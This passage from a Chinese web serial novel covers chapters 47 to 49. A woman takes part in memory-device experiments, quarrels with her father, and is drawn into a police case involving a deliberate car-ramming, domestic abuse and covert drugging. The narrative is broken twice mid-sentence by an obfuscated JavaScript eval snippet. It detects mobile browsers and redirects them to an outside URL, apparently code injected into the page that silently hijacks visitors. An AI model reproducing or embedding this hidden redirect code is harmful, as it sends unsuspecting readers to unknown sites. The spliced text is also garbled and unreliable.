此时,宋言林坐在办公桌前,手里握着保温杯,慢慢地喝了口温水。而雎安则听从他的建议,在对面的椅子上坐下,并往右边挪了挪,这样才不会被电脑显示屏挡住视线。 “我上一次在装置里的结束时间是2017年9月3号,那我这一次会去哪个时间点?” “2017年9月4号。”宋言林又喝了一口水,“往后如果没什么大变动,应该都是按时间顺序来实验。” 几秒的静默后,雎安问道:“那我可以去一下2017年6月8号吗?就是高考结束那天。” 闻言,宋言林身子往前倾,将水杯放在桌面上,厉声道:“我记得我曾告诉过你,倒序实验可能会产生很严重的后果,会有精神错乱的风险。按顺序实验,往往第一次进入的时反应最强烈,顺序跳转的时间幅度越大也会加重大脑的负担。但这些和倒序实验相比,都不足为道。” “这么吓人?”雎安没想到会这么严重,声音都弱了不少,“我以为只要跳转的时间间隔不大,问题就不大。” 宋言林表情严肃,“这就是我限制你操作权限的原因。一是怕你没听清实验规则,二是怕你理解错规则,三就是怕你强行违背实验规则。” 虽然她很想要钱,但也深知金钱远没有健康重要。 看来,她和那150万无缘了。 “好的,我明白了。”雎安默默低下了头,难掩失落。 “但我还是有一点不明白,既然通常第一次进入装置的反应是最强烈的,那我为什么紧接着就进行了第二次实验?” “因为我要测试你对这个装置的耐受程度。” 宋言林如实相告:“本来我确实只打算进行一次实验的,但你的耐受程度比多数人高,第一次实验后居然没有明显的身体不适,我才追加的第二次实验。第二次实验你的表现更是出乎我的意料,你竟然只是感觉头晕,需要更多的休息而已。不过,连续实验三次就太冒险了,我没敢让你试。” “原来如此。”雎安有些魂不守舍,一副还没完全接受现实的模样。 毕竟,她可是好不容易才下定决心来这里找宋教授的。 “2017年6月8号。” 宋言林观察雎安的反应,结合她所说的日期,察觉到些许不对劲,“这日期对你而言,有什么特别的意义吗?为什么之前实验的时候不去呢?” 雎安抬头,心慌意乱地思考着要编个什么理由好,但她很快平静下来,短暂的思考后,陷入了回忆。 “这是我结束高考的那天,其实我还蛮怀念的。” “我记得那天的天气很好,我走出考场后一抬头,就看到了万里无云的蓝天。当时的我在想,兴许这意味着未来我的人生会和今天看到的天空一样广阔,不用再被困在一个小地方、每天做着相同的事。而当我低下头,目视前方,我的父母就在考场门口等着我,他们朝我招手,笑得特别开心,一句也没问考试的事,直接带我去了我一直想去的茶楼,然后我们就一边欣赏窗外的湖景,一边聊对未来的规划。” 雎安停顿了会儿,接着说道:“那天与我而言,太梦幻,以至于我都怀疑是不是真实存在过。上次实验我确实想去来着,但我又怕这段回忆的美好不过是后来的我润色出来的。” “我当时犹豫了,想着不如让逐渐模糊的美好回忆一直模糊的美好着,最后就没去。现在想想,又有些后悔。” 虽然,这不是她想回到17年6月8号的主要原因,却也不是她随口捏造的故事。 “让逐渐模糊的美好回忆一直模糊的美好着。”宋言林呢喃,片刻征神后,轻笑道:“听这句话,我倒觉得你想得很透彻了。就算不回去,也没什么。” “也对。”雎安认命地点了点头。 “不是你想回去吧。” 宋言林语出惊人,用的还是陈述句,而不是疑问句。 雎安彻底慌了神,“什么意思啊?” 由此,宋言林更加肯定自己的猜想,笃定道:“是阿挚让你帮忙的吧。” 这不算违约吧? 雎安的第一反应是她会不会因此赔钱,可仔细一想,她什么都还没做,只是问一问。就算宋言林担心她会强制违规而终止合作,那最糟糕的情况也不过是终止合同。 再说,违约索赔也得有证据才行。 “我猜,阿挚应该没少骚扰你,还给出了比我的实验报酬优厚得多的条件。” 爸爸就是爸爸,对儿子就是了解。 雎安尴尬地笑笑。 “不用紧张。”宋言林看出了雎安的怔忡不安,安慰道,“我不是在和你算账,也不会找你麻烦。” 雎安却始终无法让突突跳的心脏平静下来,宋言林明明一直对实验的相关事宜都格外看重,也格外紧张,刚才他的态度也足以证明这一点,此刻却出乎意料的好说话。 “毕竟,你来实验就是为了获得报酬,既然他愿意支付更高的报酬,你因此动心,合乎常理。” 雎安猜测,宋言林下一步就会问她,宋挚为什么要让她去2017年6月8号? 果不其然…… “所以,他为什么要让你去2017年的6月8号?他拜托了你什么事?” 雎安沉默了。 “雎安,阿挚最近情绪很不对,而他又是一个非常执拗的人,如果在你这行不通,他肯定会想别的办法,我担心他会出事。” 顷刻间,雎安想起了宋挚前天晚上和她说的话。 “我会自己进装置找答案,无论用什么方法。” 宋挚说这句话时,眼中透露出的坚定,像是即便要他上刀山下火海也不会畏惧。 雎安不知道自己当时的表情如何,只知道她当时内心的感受是震撼,震撼于宋挚对家人的爱。 最终,雎安选择将宋挚委托她的事和对应的报酬告诉了宋言林,虽然内容有所保留,但该说的关键点都说了,尤其是支付150万的那部分。 雎安本以为,宋言林听完以后会对宋挚账户上有150万供他随意支配而感到惊讶和奇怪,谁知宋言林却对此毫不关心,反倒问道:“你有和他强调,如果你按他说的去做,有很大概率会导致精神错乱吗?” “有。”雎安重重点了下头,“您的警告,我记着的。” 宋言林摇头轻笑,表情中透露着无奈和失望。 “既然他完全不顾虑你,提出了这样的请求,那你就该惩罚他,让他偷鸡不成蚀把米。” 中午一点半,雎安回到公司,顺利打卡上班。 下午两点,廖欣走到雎安桌前,提前她在钉钉上补电子假条,然后上传给她和经理审核。 “好,我现在就弄。” 雎安笑得格外乖巧,毕竟她是临时请假,人事和经理没有说她一顿就很不错了。只是,一想到请假要扣的工资和全勤奖,她就觉得肉痛。 雎安提交完假条,心情有些沮丧,想着喝点甜甜的饮料来调节心情,便弯腰去翻柜子的最底层,可她还没看到饮料,却注意到了掉在地上的花束。 看来,这是老天在提醒她赶紧把花扔掉。 于是,雎安鬼鬼祟祟的去厕所扯了个黑色垃圾袋,又鬼鬼祟祟地将花束套进袋子里。然后和扔外卖盒一样若无其事地提着袋子,走到廊道上扔掉。 其实,她有犹豫过要不要把花还给卢宇年,可这样就不可避免地要私下接触,还可能被人撞见。 可扔掉以后呢?以后他又送,或者是来骚扰她的话,她要怎么办? 雎安的脑中不断闪现她刺向卢宇年的画面。 不管了,不管了,她使劲躲还不行吗? 雎安晃动脑袋,迫使自己不要多想。最近事情已经够多了,不要自己给自己增加烦恼。 “汤晴的事,你听说了没?” 有人在楼道里小声说话。 “我知道,我有看新闻。” 是公司的两个同事,雎安和她们在工作上的交集并不多,只是点头之交,但关系还不错。 “她今天没来耶~” “她肯定不来啊,发生那么大的事,谁还来上班?” 雎安听见了脚步声,她们应该是在一边八卦一边往上走。 “说是撞人的是她嫂子,撞完人就开车往江里冲,不知道死了没......” 没有犹豫,雎安以最快最轻的步伐离开了楼道。 下午六点,同事们兴高采烈地堆在门口打卡下班,不过两分钟,办公室里就只剩雎安一个人。 雎安本该早点回家、早点休息,以最好的状态去迎接明天一早的实验,可她却根本提不起精神,甚至想在公司多呆会儿。 她在犹豫要不要发微信问候一下汤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16100752|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晴,思来想去,还是作罢。她觉得汤晴现在肯定没心情理会一个同事的问候,还是等她回公司以后再说吧。 那回复宋挚这件事呢? 她犹豫要不要今晚就发信息,好让他明天一早去银行汇款。 可......如果宋言林只是一时气头上才鼓励她这么做,是她自己没反应过来的话...... “啊~~那可是150万啊!” 雎安用力地锤了两下桌子,在办公室里烦躁得吼出了声来。 晚上八点,雎安用完晚餐回家,一开门就察觉到不对。空气中弥漫着极其刺鼻的气味,她的房门口摆放着一个油漆桶,油漆桶上有把大刷子,刷子上满是白色的油漆。 雎安瞪大了双眼,随手将包扔在侧边的椅子上,右手捂着口鼻,快步走到房门口。 此刻,邹伟聪背对着她,叉着腰站在她的房间里,像是在欣赏艺术画一般欣赏着崭新的白墙。即便雎安看不到他的表情,也知道他必定露出了极满意的笑容。 “你在干嘛?” 雎安听到自己的声音有些颤抖。 “我原本挂在墙上的照片墙呢?!” 邹伟聪太专注,以至于雎安的声音时,吓了一大跳。 “你怎么走路没声音啊?”邹伟聪捂着胸口,抱怨道:“你那什么照片墙我给你放在衣柜里了,摆外面容易蒙尘,不好看。再说了,我们家是老房子,墙上有很多斑点污渍,我觉得得赶紧都刷一遍,不然等你带男朋友来家里的时候再刷,那就太赶了。” “你经过我的同意了吗?” 雎安呆滞地看着让她感到陌生的房间,用尽全身气力去压制即将爆发的情绪。 “你有没有想过,这里异味这么重,我今晚睡哪?” “什么叫经过你的同意?”邹伟聪的笑容彻底消失,“这房子是我的,我刷墙怎么了?你晚上去我和你妈的房间打地铺就行了,通风只要半个月。” 雎安感觉自己的心脏都要炸了,怒急攻心的感觉竟让她没能吼出声来。 当下,她脑中的最强烈的想法就是,她不想再留在这了,她要远离这里,立刻!马上! 雎安径直走进房间,翻出行李箱,一股脑地将衣服和洗漱用品往箱子里塞,能塞多少塞多少。 邹伟聪一开始还没反应过来,再意识到雎安这是要干嘛后,眼中满是不解和愤怒,直接追着雎安破口大骂。 “你翅膀硬了是吧?我告诉你,出去了就再也不要回来!” 雎安第一次被气得眼泪直流,连反驳的气力都全然丧失,她默默听着那些刺耳刺心的话,手脚前所未有得麻利,不到十分钟就整出了行李。 离开前,雎安回头看着面红耳赤的邹伟聪,脸上满是来不及擦去的眼泪,可她完全不在乎,她只是看着邹伟聪的眼睛,吸了吸鼻子,语气平静地问道:“我为什么会有你这样的父亲?” 宋挚一早就等在了教学楼下,即便他昨天一直在医院照顾舅舅,睡眠不足让他哈欠连连,但他的头脑却相当清醒。 他有强烈的预感,他会在今天早上得到一个肯定的回应。 顺利的话,他会在今天中午得到一个确切的答案。 如果成功,他很好奇会发生什么,兴许他会彻底遗忘这一段试图救回母亲的记忆,忘记今年情人节之后发生的所有事。 如果失败,也没事,他不会放弃,只会转而尝试下一个方案。 毕竟,这是逆转生死的难事,他已经做好了失望千百次的准备。 上午八点二十分,雎安出现在他的视线之内。 他下意识地往前走了两步,迫不及待地想问她考虑得如何,却在看到她凝重的表情和肿胀的双眼时哽住了。 她的双眼比逃离餐馆那次还要肿,精神面貌也不太好,像是一夜未眠。 “Hi,早上好。” “早上好。” 简单的问候后,宋挚跟在雎安身后,迟迟没有开口。 直到就剩最后一层楼梯时,宋挚认定这就是最佳时机,他不可能在实验室里问雎安,他必须在此刻开口。 “宋挚。” “嗯?” 他没想到雎安会顿住脚步、先他一步开口。 雎安转过身,凝视宋挚的双眸,“150万,不够。” 她的回答完全出乎意料,宋挚不禁皱了皱眉,“我愿意加码,你想要……” “我想要你。” “什么?”宋挚被打断,头脑完全是懵的。 “150万,我要。你,我也要。” 话音刚落,雎安便吻了上去。 48. 她努力垫脚,吻了上去。 雎安往前走了两步,不等宋挚反应,伸手扶着宋挚的腰,努力垫脚,吻了上去。 她以为她会被推开,可是却没有。 宋挚完全愣住了,直到她的吻结束,都还是那副没反应过来的样子。 “对不起。” 潇洒肆意不过几分钟,雎安便清醒过来,意识到自己把难过和不满转化成了骚扰行为,整张脸瞬间红透,恨不得找个地洞钻进去。 “我刚刚情绪不太好,有些失控。但我说的话是认真的,希望你能认真考虑。不过,你也可以拒绝。” 宋挚终于反应过来,当下最紧要的是救母亲这件事。 “可以拒绝?我拒绝的话,你会帮我吗?” 雎安鼓励勇气,去看宋挚的眼睛,“不会。” 闻言,宋挚眉头紧拧,和雎安确认道:“你说的‘要’到底是什么意思?” “就……”雎安嗫嚅着道:“就那个意思啊,你又不是小孩子。” “你知不知道你在说什么?”宋挚再次确认。 “我知道。”雎安也有些急了,表情和语气都坚定了许多,“我知道我在说什么,我又不是小孩子!” 宋挚感觉自己的脑子要炸了,被气的。 他的质问脱口而出,“那你想‘要’到什么程度?” 宋挚这话一出,两人都像被冻住了一样,嘴唇微张,却都没有发出声音。 他们此刻都在庆幸今天是周六,这栋楼里几乎没什么人。 “我不知道。”雎安的声音变得又细又小,像是犯了错的小孩,“你好好考虑一下,想清楚些,下次实验之前再回答我也行,不急的。” 说完,雎安就跑走了。 宋挚看着她的落荒而逃的背影,竟笑了出来。 看来,人无语到一定程度的时候真的会不自觉地发笑。 他笑雎安无礼的要求,更笑她从飒爽到扭捏的姿态。她和他谈论的明明是成人之间的话题,但却一副小孩子受了委屈的模样,说的话也是小孩子闹脾气时那种不讲理的语调,弄得像是他欺负了她。 宋挚比雎安晚五分钟进的实验室,所有人都和之前没什么差别。按惯例,实验组的成员会和他简单的打个招呼,雎安也会和他点头问好。 除了雎安的脸和他的耳朵有些红,像是什么都没发生过一样。 “雎安,你还好吧?”陈思雨语气格外轻,“没有被吓到吧?” 雎安知道陈思雨问的是她们周四在嘉源广场撞见事故的那次,笑笑道:“当时确实有种心都快要飞出来的感觉,不过很快就平静了,我没事。” “要不要先去躺椅上睡会儿?”吴曼菲指了指实验里唯一的折叠躺椅,也加入到了关心雎安的行列中。 毕竟,雎安肿胀的双眼和微红的脸颊实在扎眼,让人放心不下。 “也好。”雎安想了想,觉得这主意不错,“我确实有些困,九点的时候,你们再叫我吧。” 吴曼菲比了个OK,“没问题。” “你呢?” “啊?” 张百星走到宋挚身边,拍了拍他的肩,“我看你当时挺激动的,现在缓过来了吗?” “我没事,只是当时有些受惊。”宋挚这才想起,当时陈思雨和张百星就在他身后不远处,“你和雨姐怎么样?没被吓到吧?” 张百星见宋挚面上毫无波澜,也就没再多问,转而说起自己来。 “我当时真是被吓到了,感觉魂都被吓跑了,思雨也是,我问她怎么样,她说没事,但是手是抖的。” 闻言,陈思雨白他一眼。 张百星识趣地转换话锋,拍拍胸脯道:“不过,回家以后仔细想了想,我们这些只是目睹的人何尝不是一种幸运,人还好好活着呢,没什么好怕的。” 宋挚看得出,他至今都还没缓过来,以至于论述的时候声音都有些发颤。 “你说得对。”宋挚笑着回应他,还拍了拍他的肩膀,算作安慰,“我们都是幸运的。” 因为想给雎安一个安静的环境休息,之后实验室便没人再聊天,只有敲键盘和纸张摩擦的声音。 宋挚坐在角落里,静静地看着忙绿中的实验组成员和休眠中的雎安,不到五分钟,他便拿起手机,决定去走廊上透透气。 宋挚:浮沉,你查得怎么样了? 周浮沉:受害者一共八人,名单已经确定并发布了。其中有八人是驾驶者童敏的老公的亲人,只有李豫是和她没有直接关联的。目前我们还在深入调查,但我们都觉得童敏故意谋害李豫的几率很低,受人指使的可能也很低。 宋挚:怎么说? 周浮沉:从童敏的社交账号查到,她说汤尊长期家暴,还有一个三岁的私生子,公公婆婆助纣为虐,她老公的其他亲戚也都时常打压和嘲讽她。她的情绪越来越不稳定,最近的几个帖子更是直接说她要报仇、要伤害她的人好看。这次事故发生前,也是她把他们都聚在一起,大概率是想一次性将他们全部解决掉。 看到这,宋挚叹了口气,也不知是为了谁。 他接着输入文字:所以,李豫的死只是巧合? 周浮沉:李豫正好和他们擦肩而过,以童敏当时的状态,她很可能就没看见李豫,就算看见了,这可是能一次性杀死八个仇人的机会,我觉得她不会因为一个陌生人而放弃。 宋挚:那你们会去搜李豫的家吗?能不能看看他有没有留下什么东西或线索? 周浮沉:李豫不是嫌疑人,我们应该只会和家属聊一聊,但这也不一定。总之,有线索我再联系你。 宋挚:好。 发完消息,周浮沉将手机放在桌上,继续忙手头上的活。 梁询走到他身边,低头提醒道:“浮沉老弟,记得九点要开会。” “好。”周浮沉微微颔首。 童敏,女,36岁,毕业后工作过半年,现在是一名家庭主妇兼烹饪博主,在网络上小有名气,账号于半年前开始断更。她的丈夫名叫汤尊,40岁,在华州市安娜维诺化妆品有限公司上班,是做品牌策划的。他们共同养育着一个13岁的女儿,汤楚楚,在华州高级中学读初二。她们家整体家境不错,两人的收入都很可观,各自的父母也没有重大疾病,女儿的成绩在学校名列前茅。从表面上看,这是一个很幸福的家庭。 开头,先由梁询简单汇报调查嫌疑人和受害者的背景情况。 “不过,事实本非如此。”梁询话锋一转,解释道:“汤尊在五年前就有了外遇,三年前对方为他生了个儿子后,就因为羊水栓塞去世了。根据我们的走访调查发现,男孩是由爷爷奶奶养大的,童敏很可能是最近才知道汤尊有个私生子的事。再来,汤尊的同事反馈,说他的脾气一直都很暴躁、且相当不稳定。下午我们去安娜维诺问询的时候,即便很多人说着死者为大,但都还是明显表现出了对他的不满。” “没错。”林布朗接着补充道:“他在上班期间曾和一个工厂里的同事起过肢体冲突,这名同事叫廖自源。” 林布朗将黄斌和廖自源的照片贴在白板上,并敲了敲廖自源的照片,划重点道:“汤尊将廖自源打得蛮严重的,他事后寻求调解花了八万。而这八万,是童敏出的。我们查到童敏的收入远高于汤尊,几乎所有的家庭支出都由童敏独自承担。我们还查到童敏夫妇曾多次因家庭纠纷报警,童敏说是被家暴了,民警调解过几次,也曾让社区介入调解过,社区的反馈却是说调解的效果不错。” 王屹微不可查地蹙了蹙眉,“童敏没有诉讼离婚吗?” “有,童敏曾起诉离婚过,但因应双方意见不一,法官认为感情没有完全破裂,故而驳回了离婚申请。” 梁询边说边将整理好的资料递给王屹,见王屹的表情淡淡的、但脸色却不太好,他递资料的动作都拘谨了不少。 “童敏现在怎么样了?”王屹问道。 “还在昏迷中。”汪炎迅速回答道:“她当时车速很快,连人带车冲进了华江,受到的冲击很大,所幸刚好有路过的消防车,被消防员及时救起,医生说没有当场死亡就是奇迹了,她能在短期间醒来并接受询问的可能性不大。” 王屹坐在房间的中心,其余人都拉了张椅子、环绕着他坐下,逐一汇报工作。他的手放在桌面上,食指轻轻敲打着桌面,等待着汪炎的下一步汇报。 “医生说她的手臂上都是伤,有黑青色的,也有蓝紫色和黄色的,新伤旧伤都很多,这也就验证了她长期受到家暴这一点。除此之外,更值得注意的是她的手臂瘀伤下的针孔。” 汪炎把一张伤口放大后的高清照片放在童敏照片的旁边,“于是我们就拿她的毛发去检验,发现她 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“更恐怖的是......”汪炎刻意停顿了一会儿,像是为了给大家一个缓冲的时间,“汤尊为了留着她和她的钱,这半年里一直在偷偷给她投毒,她意识到的时候已经成瘾了。她不敢告诉女儿和家人,不敢去戒毒所,怕警察知道了就把她抓起来,怕事业没有了、钱被转走、女儿也见不到。” “简直就是畜生。”刚刚林布朗的声音还压得有些低,这回,她是彻底不掩饰自己的愤怒了,“不,是畜生都不如!” 梁询瘪了瘪嘴,“老天有眼,这家人做得这么绝,所以报应也来得快。” 周浮沉眉头微微皱起,反驳道:“这和天没关系,这是童敏献祭自己换来的结果。她是很可怜,但这个偏激的方式还害死了一个路人。” “也是。”梁询耸耸肩,也没较真,“毕竟她当时撞过去以后还倒车碾压,应该是为了确保那家人都死了,嘉源广场的人又多,男女老少都有,这可成了不少人的心理阴影。” 王屹没说话,拿起水杯喝了两口水。 汪炎也没参与这场讨论,他在汤尊的照片上画了个问号,将它和一张神似面粉的图片之间画了一条线。 “我和浮沉搜查了童敏和汤尊的家,发现汤尊的房里有最近在华州出现的新型毒品,纯度极高,成瘾速度比□□更快。之后我们还查了汤尊的手机和电脑,根据聊天记录和钱财往来,初步怀疑汤尊是在和一个叫龚运商的人在买毒品。这个龚运商也在安娜维诺公司上班,职位是销售总监。” 汪炎将龚运商的照片贴在白板的右下角,和汤尊之间连了一条线,“不过,因为这是最新的发现,我们还没有抓捕和审问龚运商。” “不。”王屹突然开口,“先不要打草惊蛇,张骁回来了吗?” “没有,张副队得要下周一才能回来。” 汪炎话音刚落,周浮沉举起手道:“王队,我有事要汇报。” 王屹扫他一眼,带着无声的威压,少顷,他开口道:“说吧。” “是关于死者李豫的,我认为他会是一个突破口。” “怎么说?” 周浮沉起身,将三份卷宗放在王屹面前,“他的爸爸李松柏也在安娜维诺公司上班,他的职业是法医,此前曾涉嫌鉴定造假被调查,但最终不了了之。而经由他手被质疑的伤情鉴定,大多保的是安娜维诺公司的中高层及其相关人员。比如这个,根据受害者提供的医院检查单和伤情鉴定的最终结果来看,轻微伤是不成立的,应该是轻伤一级。” 周浮沉先指了左边第一份,然后又指向第二份,“这个交通事故也是,鉴定结果为轻伤二级,受害者不服,要求重新鉴定。结果,鉴定结果还没出,受害者就因病去世了,受害者家属获得巨额赔偿并出具了谅解书,最终肇事者没有被起诉。” “就是这个案子的受害者在网上的言论引起舆论风波,李豫才被调查的。”周浮沉拿出卢宇年的照片,放在桌面上,“而那次案件的肇事者,是安娜维诺公司董事长的儿子—卢宇年。” 王屹注视着周浮沉,指着最后一份卷宗问道:“那这个呢?” “今年情人节,安娜维诺公司旗下的工厂发生了5死6伤的碳酸钡集体中毒事件。而李豫,他对此案的判决结果有异议。 49. 时机,不容错失。 一杯薄荷奶绿,一杯珍珠奶红。 两杯奶茶依偎在一起的姿态,就像此时的张百星和陈思雨,他们贴耳低语,都没有调笑之意,各自的注意力都在自己手头上的文件上。 这幅缱绻旖旎却又势均力敌的画面一下冲击到了雎安的泪腺。 可她不想被人发现,不想让人觉得她突然的眼泪奇怪。 于是,她便强行憋着,表现出一副困到忍不住连连哈欠的模样。 大门突然被打开,宋言林走了进来,雎安迅速反应,站起身迎接,快到眼角的泪都还来不及擦。 “别起那么猛,容易晕。”宋言林示意雎安小心,也没多想她的眼角为何有眼泪,“如果很困的话,那就再睡一小时,不着急。” 考虑到雎安目睹了嘉源广场发生的撞人案,宋言林担心她此刻的状态。 “不用,我没事。”雎安看了眼墙上的钟表,“还有五分钟就到九点了,准备开始吧。” 宋挚站在走廊上,望着远处的蓝天白云出神,脚步声和开门声全都没能打扰到他的思绪。 他回过神后,给护工转了钱,而感谢王屹和张骁为舅舅献血该送什么礼物,他仍然没有头绪。 别说贵重的礼物了,送个果篮他们都未必会收。 不对! 宋挚苦恼之际,蓦地反应过来,这件事不是他当下该烦恼的,如何在线索断掉的情况下找到杀害母亲的真凶也不是他当下该思考的。他当下唯一要好好考虑的......就是要不要答应邹雎安那无礼的要求。 毕竟,他从来没想过会有这么一天,他会思考一个到底要不要出卖自己的身体的问题。 可这又事关母亲的生命,他根本说不出“不”字。 所以,他到底在纠结什么? 兴许她只是受了刺激、一时兴起,兴许她会中途后悔,兴许她能按着他的方法成功劝阻母亲去工厂,之后他所在的世界就会发生翻天覆地的变化,他的这个承诺就会不复存在。 所以,他到底在纠结什么? 就算这个计划失败,他仍然需要她的帮忙,如果以这点牺牲来交换都做不到,他怎么敢说自己有信心能颠覆生死,又怎么敢说自己即便付出生命也要救回家人? 纠结犹豫或许要用很长时间,但想通的那一刻,几乎就在眨眼间,宋挚便下定决心,抬腿就往实验室去。 然而,时钟走到九点一刻,她已经进装置了。 中午十三点,雎安准时从装置里出来了。 这回,她明显比前两次从容许多,也不知是不是他的错觉,他觉得她出舱门的脚步比之前要轻快许多。 只是,等到实验室众人让她的自述实验内的情况并进行记录时,她再一次露出了他熟悉的表情。 有局促、有为难、有不安、也有羞涩...... 宋挚观察着她的表情,注意到她有意回避和除了宋言林之外的任何人对视时,他的目光就像是开启动态跟随的监控一样跟随着她,直到她被宋言林带去办公室谈话,宋挚才从敞开的大门上收回目光。 他没动,只站在原地乖乖等候。 谈话远比他想象得要快,不到十分钟,雎安便从办公室走了出来,表情和状态都比进去前要轻松得多,眸光清亮,唇角轻扬,面上有愉悦的笑意。 “我送你回去。”宋挚直接迎上去,丝毫不在乎身后惊诧的目光,“我有话和你说。” “好。” 雎安看他一眼,而后径直往前走,略过他,回实验室拿包。 宋挚转身,站在原地看着她和实验室众人礼貌而快速的道别,又看着她没有丝毫犹豫地快步离开了教学楼。 速度之快,让宋挚以为那个“好”字是他的幻听。 他顾不上和其他人道别,直接冲过去,打算追上去问问她为什么要跑。 可她根本没走远,她甚至就站在楼梯口等他,等他来找她,最后还因为他着急追过来的姿态惊了一下。 “走吧。”宋挚迅速收整,假装什么都没发生过。 “嗯。”雎安低头一笑。 之后,两人一前一后走了很长一段路,两人都没有率先破冰,就这么伴着鸟鸣和车铃声行走在绿树成荫的校道上,给了雎安一种平静而美好的感觉,像是鱼儿回到了江河,身心都因为当下的环境和氛围而感到舒心自由。 她很迷恋当下的这个感觉,可出于礼貌,还是选择了率先打破沉默。 “今天的校道上没什么人呢。” 就是这条校道,不久前,他们一起穿过拥挤的人群往前走,只是这次的校道上只有寥寥几人,他们看到的也不是傍晚的夕阳,而是午间热烈的太阳和刺目的阳光。 “这个点,要么是在宿舍,要么在食堂。路上人多,反倒不正常。” “哦~那你们学校有外卖服务吗?” “要看那个店铺有没有招兼职外卖员,食堂是没有的,只能叫舍友带。” 宋挚这次没有为雎安叫来小黄车,而是将她带到了篮球场旁边的露天停车场。 “我看你好像不常在学校住。”雎安随口搭话。 宋挚开门的手一顿,抬眸看她,眼神讳莫如深,“对,我在嘉源那有套公寓。” “这样每天来回,不会很麻烦吗?”雎安拉开副驾驶的门,直接坐了进去,“尤其是有早课的时候。” “只是偶尔。”宋挚有些诧异,但很快便不动声色地坐进了驾驶位,“我喜欢有私人空间,不喜欢和人同住。跑一跑,算不上麻烦。” 雎安一边系安全带一边回应:“也是,华州大学离市中心不远,开车的话,距离也还好。” 她的母校华州财经位于市郊,开车通勤的话,有够呛。 “嗯,走新建的桥,十几分钟就到了。” 他们之间有问有答、有来有回,聊得却都是些无关紧要的话题。明明是宋挚有话要和她说,雎安一直在等宋挚开口,可宋挚总在耐心的回应她后便陷入沉默。 她不知道要不要再聊下去。 “到了。” “啊?” 抵达的速度远比雎安想得要快,她抬头往外看,这才注意到窗外的湖景和那间熟悉的餐厅。 “怎么会来这?你不是要送我回家吗?”雎安疑惑。 “现在已经快两点了。“宋挚轻敲他腕上的手表,“刚刚你一直在和我聊食物聊口味,不如先吃饭?” 雎安犹豫了好一会儿,最后在宋挚改口之际应了好。 这次,他们相对而坐,没有坐在同一边。但宋挚依然很照顾她,询问她要吃什么,问她要什么饮料、有没有什么忌口,像是拥有了什么奇怪的肌肉记忆。 雎安就这么静静地注视着他,一瞬间竟失了神。 “邹姐,你又来啦?”张徐行不知从哪窜了出来,笑眯眯地问道:“这是谁啊?” 张徐行浑身都散发着标识大一新生的清澈感,加上本就外放的个性,让他搭在雎安肩上的手显得亲昵却不暧昧。 宋挚只看了一眼,就将视线转到他的眼睛上,和他的清澈的眼眸对视。 “我是雎安的朋友,我叫宋挚,你是?” 雎安还没反应过来,就听到了宋挚和张徐行的声音,他们礼貌而大方地介绍着自己,还意外得知对方是校友,反倒是她,更像那个被介绍的朋友。 “给你们打八折,免茶位费,随便点随便吃!” “只打八折啊?”雎安张开手掌,抬手捂住自己的嘴,演出了一副很吃惊的模样。 张徐行嘿嘿地笑,双手撑在桌上,语气娇软得像在撒娇,“我的权限只能去到这个折扣,对不起,姐姐~” “我知道。”雎安被他突如其来的施法吓一跳,一本正经地出声打断他,语气却格外柔和,“我只是开玩笑,谢谢你啦。” 宋挚在一旁看着张徐行,突然间,表情和心情都有些复杂。 刚刚他和他说话时一切正常,和雎安说话时的声音却像是灌了蜜似的,甜腻得齁人。 他不由地想到了一个词,绿茶。 可这词在当今饱含贬义,与张徐行坦荡不遮掩的行为有出入,而他也不喜欢草率的给人贴标签,所以很快就管理好了表情,没有显露出异样。 “我还有事要忙,先走了。你们慢慢吃,有问题可以找我哦~” 张徐行不傻,情商更不低。他感觉得到雎安和宋挚都没有和他聊下去的打算,甚至他们在微笑着听他说话的时候,都有一种把他隔绝在外的奇妙氛围。 所以,他找到个借口就及时撤走了。 张徐行走后,雎安和宋挚对视一眼,极有默契地拿起水杯喝了一口水。 此时,陈川亮端着招牌鸡公煲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16121707|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从厨房走出来,发现客人是张徐行的好朋友时,还努力地朝雎安挤出一个和善的微笑。 “你的右手受伤了。”宋挚盯着陈川亮右手的那道伤口,劝道:“和老板商量一下,暂时先换个岗位吧。不然,恐怕会好得很慢。” 闻言,陈川亮拿着隔热垫的双手往后缩了缩,解释道:“我不是传菜员,只是因为今天人多,大家都忙得晕头转向的,才来帮帮忙而已。” 语毕,他顶着极凶的面容,朝宋挚也挤出了一个还算和善的笑容,“谢谢关心。” “不用谢。”宋挚颔首,嘴角扯出一个弧度,“我也没帮到什么。” 雎安在一旁观察他们,除去回应陈川亮的时候笑了笑,她没有任何多余的话语和反应。直到陈川亮转身离开,她才放松下来。 然而,雎安提着的心才稍稍放下,她便发现宋挚变得有些不对劲。 宋挚的思绪似乎跟着陈川亮一起离开了,即便她出声询问他要不要加一些面条,他也是一副心不在焉的模样,似乎早已陷入了思考的漩涡。 陈川亮是杀害叶扶英的凶手,宋言林绝不可能会把这件事告诉宋挚。 “你在想什么?”雎安索性直接问。 “啊?” “可以说说吗?我看你一直在思考,好像有不少......烦恼。” 宋挚感知到她话语和表情中的试探和拘谨,瞬间回过神来,猜想她是对他的频繁失神产生了些许不满,“没什么,想事情出神了而已。” “是什么事啊?” “嗯?”宋挚眉头轻动,片刻怔愣后,低头失笑,眉宇间都是如春风拂水般轻而浅的笑意。 他温柔的反应给足了雎安开口询问的安全感,可她也清楚的知道,这同时表明他没有想与她分享的欲望,更没有丝毫让她进入生活的打算。 